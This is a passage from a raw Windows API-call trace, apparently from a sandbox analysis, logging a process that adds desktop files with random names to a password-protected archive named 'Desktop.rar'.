0x1ec0a5c4640 [0066.608] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656ce0 | out: hHeap=0x1ec0a590000) returned 1 [0066.608] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a610 | out: hHeap=0x1ec0a590000) returned 1 [0066.608] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x155b9 [0066.608] CloseHandle (hObject=0x350) returned 1 [0066.608] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0066.608] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0066.608] GetFocus () returned 0x102a8 [0066.608] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0066.608] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.608] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0066.608] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.608] FindFirstFileW (in: lpFileName="0KL2Gz9JGd.wav", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0a68e1c0 [0066.608] FindClose (in: hFindFile=0x1ec0a68e1c0 | out: hFindFile=0x1ec0a68e1c0) returned 1 [0066.608] CreateFileW (lpFileName="0KL2Gz9JGd.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\0kl2gz9jgd.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0066.608] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0066.608] GetTickCount () returned 0x268d2 [0066.609] GetLastError () returned 0x0 [0066.609] SetLastError (dwErrCode=0x0) [0066.609] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0066.609] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0066.609] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbe10, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0066.609] SetWindowTextW (hWnd=0x1028e, lpString=" 0%") returned 1 [0066.609] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0066.610] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.610] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0066.610] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0066.610] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0066.610] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="-mQiD8fm.doc") returned 12 [0066.610] SetWindowTextW (hWnd=0x1028c, lpString="0KL2Gz9JGd.wav") returned 1 [0066.611] GetTickCount () returned 0x268d2 [0066.611] UpdateWindow (hWnd=0x10284) returned 1 [0066.611] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0066.611] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0066.611] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0066.611] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0066.611] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x64)) [0066.611] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0066.611] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15793990891) returned 1 [0066.611] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x7ff4, lpOverlapped=0x0) returned 1 [0066.612] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d90d034, nNumberOfBytesToRead=0xf800c, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d90d034*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0066.612] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef9a0 [0066.612] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefcd0 [0066.612] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefcd0, Size=0x48) returned 0x1ec0a656c90 [0066.612] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c740 [0066.612] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef640 [0066.612] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef640, Size=0x48) returned 0x1ec0a6569c0 [0066.612] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c740 | out: hHeap=0x1ec0a590000) returned 1 [0066.612] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0066.612] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0066.612] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0066.612] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefb80 | out: hHeap=0x1ec0a590000) returned 1 [0066.612] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0066.612] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef9a0, Size=0x48) returned 0x1ec0a657140 [0066.612] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a657140, Size=0x7a) returned 0x1ec0a64a220 [0066.612] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0066.612] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a220 | out: hHeap=0x1ec0a590000) returned 1 [0066.614] GetTickCount () returned 0x268d2 [0066.614] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15794276923) returned 1 [0066.614] GetTickCount () returned 0x268d2 [0066.614] GetTickCount () returned 0x268d2 [0066.614] GetTickCount () returned 0x268d2 [0066.614] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xe414dd168 | out: ppv=0xe414dd168*=0x1ec0bfefb80) returned 0x0 [0066.614] TaskbarList:ITaskbarList3:SetProgressState (This=0x1ec0bfefb80, hwnd=0x10284, tbpFlags=2) returned 0x0 [0066.615] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1ec0bfefb80, hwnd=0x10284, ullCompleted=0x1d463, ullTotal=0x4f8c9e) returned 0x0 [0066.615] TaskbarList:IUnknown:Release (This=0x1ec0bfefb80) returned 0x0 [0066.615] GetLastError () returned 0x36b7 [0066.615] SetLastError (dwErrCode=0x36b7) [0066.615] GetDlgItem (hDlg=0x10284, nIDDlgItem=157) returned 0x102a6 [0066.615] GetDlgItem (hDlg=0x10284, nIDDlgItem=152) returned 0x102a4 [0066.615] GetWindowTextW (in: hWnd=0x102a4, lpString=0xe414dbd30, nMaxCount=2560 | out: lpString=" 1%") returned 5 [0066.615] SetWindowTextW (hWnd=0x102a4, lpString=" 2%") returned 1 [0066.616] GetLastError () returned 0x0 [0066.616] SetLastError (dwErrCode=0x0) [0066.616] GetDlgItem (hDlg=0x10284, nIDDlgItem=164) returned 0x102a0 [0066.616] GetWindowTextW (in: hWnd=0x102a0, lpString=0xe414dbd30, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0066.616] SetWindowTextW (hWnd=0x102a0, lpString=" 72%") returned 1 [0066.617] SendMessageW (hWnd=0x102a6, Msg=0x402, wParam=0x2, lParam=0x0) returned 0x1 [0066.617] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0066.617] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0066.617] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.617] ResetEvent (hEvent=0x344) returned 1 [0066.617] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.618] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.618] ResetEvent (hEvent=0x344) returned 1 [0066.619] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.620] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.620] GetTickCount () returned 0x268d2 [0066.620] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15794833612) returned 1 [0066.620] GetTickCount () returned 0x268d2 [0066.620] GetTickCount () returned 0x268e1 [0066.620] GetTickCount () returned 0x268e1 [0066.620] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0066.620] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0066.620] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.620] ResetEvent (hEvent=0x33c) returned 1 [0066.620] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.620] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.621] ResetEvent (hEvent=0x33c) returned 1 [0066.621] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.621] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.621] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0066.621] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.621] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x155b9 [0066.621] SetFilePointer (in: hFile=0x32c, lDistanceToMove=98, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x1561b [0066.621] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0066.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0066.622] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0066.622] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0066.622] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0066.622] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x8040, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x8040, lpOverlapped=0x0) returned 1 [0066.622] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0066.622] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.622] SetFilePointer (in: hFile=0x32c, lDistanceToMove=87481, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x155b9 [0066.622] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x155b9 [0066.623] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0066.623] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0066.623] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef970, Size=0x48) returned 0x1ec0a6573c0 [0066.623] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0066.623] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0066.623] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef910, Size=0x48) returned 0x1ec0a6574b0 [0066.623] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0066.623] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6573c0 | out: hHeap=0x1ec0a590000) returned 1 [0066.623] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0066.623] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd90 [0066.623] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefd90 | out: hHeap=0x1ec0a590000) returned 1 [0066.623] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef910 | out: hHeap=0x1ec0a590000) returned 1 [0066.623] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef670, Size=0x48) returned 0x1ec0a6577d0 [0066.623] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a64aa00 [0066.623] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64aa03*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64aa03*, lpNumberOfBytesWritten=0xe414d8140*=0x62, lpOverlapped=0x0) returned 1 [0066.623] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef760 [0066.623] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x62) returned 0x1ec0a5c50c0 [0066.623] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6574b0 | out: hHeap=0x1ec0a590000) returned 1 [0066.623] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64aa00 | out: hHeap=0x1ec0a590000) returned 1 [0066.623] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1d65b [0066.623] CloseHandle (hObject=0x350) returned 1 [0066.623] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0066.623] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.623] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0066.623] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.623] FindFirstFileW (in: lpFileName="0RRIlXg9.xls", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0a68e1c0 [0066.623] FindClose (in: hFindFile=0x1ec0a68e1c0 | out: hFindFile=0x1ec0a68e1c0) returned 1 [0066.623] CreateFileW (lpFileName="0RRIlXg9.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\0rrilxg9.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0066.624] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0066.624] GetTickCount () returned 0x268e1 [0066.624] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.624] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0066.624] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0066.624] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0066.624] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="0KL2Gz9JGd.wav") returned 14 [0066.624] SetWindowTextW (hWnd=0x1028c, lpString="0RRIlXg9.xls") returned 1 [0066.624] GetTickCount () returned 0x268e1 [0066.624] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0066.624] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0066.625] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0066.625] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0066.625] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x74)) [0066.625] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0066.625] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15795337748) returned 1 [0066.625] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x1154a, lpOverlapped=0x0) returned 1 [0066.625] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d91658a, nNumberOfBytesToRead=0xeeab6, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d91658a*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0066.625] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0066.625] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.625] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0066.625] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef850 [0066.625] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef850, Size=0x48) returned 0x1ec0a6569c0 [0066.625] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c980 [0066.625] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd90 [0066.625] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefd90, Size=0x48) returned 0x1ec0a656b50 [0066.625] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c980 | out: hHeap=0x1ec0a590000) returned 1 [0066.625] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0066.625] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef9a0 [0066.625] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef6d0 [0066.625] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef6d0 | out: hHeap=0x1ec0a590000) returned 1 [0066.626] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef9a0 | out: hHeap=0x1ec0a590000) returned 1 [0066.626] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a6573c0 [0066.626] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6573c0, Size=0x7a) returned 0x1ec0a64a460 [0066.626] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656b50 | out: hHeap=0x1ec0a590000) returned 1 [0066.626] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a460 | out: hHeap=0x1ec0a590000) returned 1 [0066.626] GetTickCount () returned 0x268e1 [0066.626] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15795506864) returned 1 [0066.626] GetTickCount () returned 0x268e1 [0066.627] GetTickCount () returned 0x268e1 [0066.627] GetTickCount () returned 0x268e1 [0066.627] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0066.627] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0066.627] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.627] ResetEvent (hEvent=0x344) returned 1 [0066.627] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.627] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.628] ResetEvent (hEvent=0x344) returned 1 [0066.628] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.628] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.631] ResetEvent (hEvent=0x344) returned 1 [0066.631] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.631] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.632] GetTickCount () returned 0x268e1 [0066.632] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15796110275) returned 1 [0066.633] GetTickCount () returned 0x268e1 [0066.633] GetTickCount () returned 0x268e1 [0066.633] GetTickCount () returned 0x268e1 [0066.633] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0066.633] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0066.633] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.633] ResetEvent (hEvent=0x33c) returned 1 [0066.633] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.633] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.633] ResetEvent (hEvent=0x33c) returned 1 [0066.633] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.633] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.634] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0066.634] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.634] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x1d65b [0066.634] SetFilePointer (in: hFile=0x32c, lDistanceToMove=96, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x1d6bb [0066.634] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0066.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0066.634] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0066.634] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0066.634] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, 